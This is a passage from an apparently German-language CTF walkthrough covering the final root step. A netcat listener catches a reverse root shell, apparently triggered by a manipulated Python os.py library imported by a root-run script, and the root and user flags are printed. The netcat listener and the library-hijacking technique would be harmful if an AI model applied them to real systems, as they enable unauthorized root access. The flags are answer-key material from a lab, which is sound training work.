Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 9001 gestartet, um die eingehende Root-Shell zu empfangen. Nach kurzer Zeit (vermutlich als das Skript `/opt/important.py` von root ausgeführt wurde) kommt die Verbindung an. Der `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: Erfolg! Die Manipulation der Python-Bibliothek hat funktioniert und eine Root-Shell wurde erlangt.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Suchen Sie die Root-Flag und bereinigen Sie ggf. die manipulierte `os.py`-Datei (obwohl in einem CTF oft nicht nötig).
Empfehlung (Admin): System kompromittiert. Forensische Analyse, Behebung der Berechtigungsfehler, Neuinstallation erwägen.

┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.128] 56090
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
root.txt
# cat root.txt
fb41c2cb45f8b4ee387fabac849d6449

Analyse: In der Root-Shell wird das Root-Verzeichnis aufgelistet und die Root-Flag aus `root.txt` ausgelesen.

Bewertung: Root-Flag erfolgreich erhalten.

Flags

cat /home/giuseppe/user.txt
16461eb65ce11cbabbe32cf1cf35a4f5
cat /root/root.txt
fb41c2cb45f8b4ee387fabac849d6449